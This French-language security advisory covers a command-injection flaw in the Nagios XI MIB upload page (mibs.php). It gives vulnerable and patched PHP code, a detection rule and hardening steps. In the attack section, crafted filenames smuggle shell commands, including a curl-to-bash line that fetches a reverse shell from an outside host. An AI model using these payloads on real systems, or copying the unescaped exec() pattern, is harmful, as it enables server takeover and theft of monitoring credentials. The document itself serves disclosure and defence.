Aller au contenu

CVE-2026-119742 : injection de commandes OS dans nagios XI via mibs.php et contournement de filtrage (avis VulnCheck)

Densité :
Synthèse Décisionnelle C-Level CVE-2026-119742 CRITICAL SCORE 89/100

Une vulnérabilité militarisée d'injection de commandes système dans le module de gestion des MIBs (mibs.php) de Nagios XI (versions antérieures à 2026R2) permet l'exécution de commandes shell arbitraires sous le compte apache/nagios. Divulguée et cataloguée comme militarisée par VulnCheck les 3 et 4 novembre 2026, la vulnérabilité provient d'un assainisseur par liste noire incomplet qui omet de neutraliser le point-virgule (;), le tube (|) et les tabulations agissant comme séparateurs de champs (IFS). Lors du téléversement d'un fichier MIB traité par install_mib(), le nom est interpolé sans échappement dans une commande grep invoquée via exec(). Des attaquants détenant des accès d'administration peuvent ainsi compromettre le serveur de supervision, siphonnant les chaînes de communauté SNMP, les identifiants cloud et la topologie complète du réseau. Hermes lui assigne un score de menace (HTS) de 89.

HYBRID

SCORE DE MENACE HERMES & ÉVALUATION DE L'INTÉGRITÉ DE LA SUPERVISION D'INFRASTRUCTURE

Cible : Console d'administration web Nagios XI (mibs.php install_mib)
Confiance : 97%
89 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 18 / 20
Militarisation 20 / 20
Exposition 18 / 20
Prévalence 16 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 19 / 20
🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-119742: Nagios XI mibs.php install_mib OS Command Injection via Shell Grep & Incomplete Filter Bypass (VulnCheck Weaponized)VULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTNagios XI Enterprise Server & Network Monitoring
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Nagios XI Enterprise Server & Network Monitoring documented in Hermes dossier.”

Preuves vérifiées associées :

1. Contexte technique & vue d’ensemble de la vulnérabilité

Section intitulée « 1. Contexte technique & vue d’ensemble de la vulnérabilité »

Nagios XI est l’une des plateformes de supervision d’infrastructure d’entreprise les plus déployées au monde, orchestrant le suivi en continu des commutateurs réseau, serveurs d’applications et contrôleurs industriels. Pour superviser le matériel via le protocole SNMP (Simple Network Management Protocol), les administrateurs importent des bases d’informations de gestion (MIB - Management Information Base) via l’interface web d’administration.

Le traitement des fichiers téléversés s’effectue dans /usr/local/nagiosxi/html/admin/mibs.php. Dans les versions antérieures à 2026R2, la fonction install_mib() inspecte le fichier soumis pour vérifier sa conformité syntaxique en sollicitant des utilitaires système sous-jacents via la fonction PHP exec().

2. Décomposition & cause racine avec extrait de code

Section intitulée « 2. Décomposition & cause racine avec extrait de code »

La vulnérabilité découle d’un assainissement inadéquat par liste d’exclusion (blacklist) combiné à une exécution shell non paramétrée (CWE-78). Le code applicatif tente d’expurger les caractères dangereux de $file["name"], mais omet plusieurs métacaractères essentiels :

<?php
// Implémentation vulnérable : nagiosxi/html/admin/mibs.php (antérieur à 2026R2)
function install_mib() {
check_nagios_session_protector();
if (!is_admin()) {
die(_("Accès refusé."));
}
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$filename = $file['name'];
// DÉFAUT : filtre incomplet par substitution str_replace
// Élimine les espaces, esperluettes, accents graves et parenthèses, mais OUBLIE ';' et '|' et '\t'
$sanitized_name = str_replace(array(' ', '&', '`', '$', '<', '>', '(', ')'), '', $filename);
$target_dir = "/usr/share/snmp/mibs/";
$target_file = $target_dir . $sanitized_name;
if (move_uploaded_file($file['tmp_name'], $target_file)) {
// DÉFAUT : interpolation directe dans une chaîne de commande shell sans escapeshellarg()
$cmd = "grep -i 'DEFINITIONS ::= BEGIN' " . $target_file;
$output = array();
$return_var = 0;
// Exécution transmise au sous-shell /bin/sh
exec($cmd, $output, $return_var);
if ($return_var === 0) {
flash_message(_("Fichier MIB installé avec succès."));
}
}
}
}
?>

L’absence d’espaces force l’attaquant à adapter sa syntaxe, mais :

  1. Le point-virgule (;) et le tube (|) ne figurent pas dans le tableau de suppression.
  2. Le séparateur interne de champ du shell (IFS) interprète la tabulation (\t, code hexadécimal 0x09) comme un délimiteur d’arguments valide sous POSIX /bin/sh et /bin/bash.
  3. Un attaquant transmet un téléversement multipart avec un nom de fichier forgé :
    test.mib\t|\tid\t;
  4. La commande résultante exécutée par exec() devient :
    Fenêtre de terminal
    grep -i 'DEFINITIONS ::= BEGIN' /usr/share/snmp/mibs/test.mib | id ;
  5. Le shell exécute grep, achemine sa sortie dans id, puis ignore les erreurs suivantes, exécutant des commandes arbitraires avec les privilèges du démon web (apache / nagios).

Nagios XI 2026R2 refond intégralement la fonction install_mib() en appliquant une liste blanche stricte par expression régulière et en encapsulant les arguments via escapeshellarg() :

<?php
// Implémentation corrigée : nagiosxi/html/admin/mibs.php (2026R2)
function install_mib() {
check_nagios_session_protector();
if (!is_admin()) {
die(_("Accès refusé."));
}
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$raw_name = basename($file['name']);
// Liste blanche stricte : uniquement caractères alphanumériques, tiret, point et souligné
if (!preg_match('/^[a-zA-Z0-9_\.\-]+$/', $raw_name)) {
flash_message(_("Caractères non autorisés détectés dans le nom de fichier."), FLASH_MSG_ERROR);
return;
}
$target_file = "/usr/share/snmp/mibs/" . $raw_name;
if (move_uploaded_file($file['tmp_name'], $target_file)) {
// Échappement rigoureux avant toute invocation shell
$cmd = "grep -i 'DEFINITIONS ::= BEGIN' " . escapeshellarg($target_file);
exec($cmd, $output, $return_var);
}
}
}
?>

3. Vecteurs d’attaque & cinématique d’exploitation

Section intitulée « 3. Vecteurs d’attaque & cinématique d’exploitation »
sequenceDiagram
autonumber
actor Attacker as Attaquant authentifié (administrateur ou session usurpée)
participant UI as Interface web Nagios XI (/admin/mibs.php)
participant Engine as Moteur PHP (exec)
participant Shell as Sous-shell système /bin/sh
participant Host as Serveur Linux sous-jacent
Attacker->>UI: Requête POST multipart vers /admin/mibs.php
Note over Attacker,UI: Nom : alerte.mib\t|\tcurl${IFS}10.0.0.5/rev.sh|bash\t;
UI->>UI: install_mib() exécute str_replace()
Note over UI: Les tabulations (\t) et le tube (|) traversent sans altération !
UI->>Engine: exec("grep ... /usr/share/snmp/mibs/alerte.mib\t|\tcurl...")
Engine->>Shell: Lance /bin/sh -c "grep ... | curl ... | bash ;"
Shell->>Host: Télécharge et exécute le reverse shell en tant qu'apache/nagios
Host-->>Attacker: Session interactive shell établie
Attacker->>Host: Récupère les identifiants SNMP et scripts de supervision

4. Triage forensique & ingénierie de la détection

Section intitulée « 4. Triage forensique & ingénierie de la détection »
title: Injection de commandes OS dans l'import de MIB Nagios XI
id: 9a2b8e4f-5612-4d89-9132-723a10594201
status: experimental
description: Détecte les tentatives d'injection de commandes ciblant mibs.php dans Nagios XI utilisant des métacaractères shell dans les téléversements multipart.
references:
- https://vulncheck.com/advisories/nagios-xi-2026r2-os-command-injection-via-mibs-php
author: Hermes Codex Cyber Threat Intelligence
date: 2026-11-04
logsource:
category: webserver
product: apache
detection:
selection_uri:
cs-method: 'POST'
cs-uri-stem|contains: '/admin/mibs.php'
selection_headers:
cs-content-type|contains: 'multipart/form-data'
condition: selection_uri and selection_headers
fields:
- c-ip
- cs-username
- cs-method
- cs-uri-stem
falsepositives:
- Importations légitimes de fichiers MIB aux conventions de nommage atypiques.
level: high

5. Stratégie de remédiation & mesures de durcissement

Section intitulée « 5. Stratégie de remédiation & mesures de durcissement »
  1. Appliquer la mise à niveau éditeur : déployer sans délai Nagios XI version 2026R2 ou supérieure via la console web (Admin -> Check for Updates) ou par les scripts en ligne de commande (./upgrade).
  2. Isoler la console d’administration : restreindre l’accès à l’interface d’administration Nagios XI derrière un VPN de gestion ou un bastion. Réserver l’accès au port 443 aux seuls sous-réseaux d’administration autorisés.
  3. Auditer les règles Sudoers : inspecter /etc/sudoers.d/nagiosxi. Vérifier que les comptes de service nagios et apache ne bénéficient pas de droits sudo sans mot de passe illimités évitant une escalade de privilèges immédiate vers le compte root.
  4. Nettoyer le répertoire MIB existant : supprimer les fichiers orphelins ou anormaux résidant dans /usr/share/snmp/mibs/.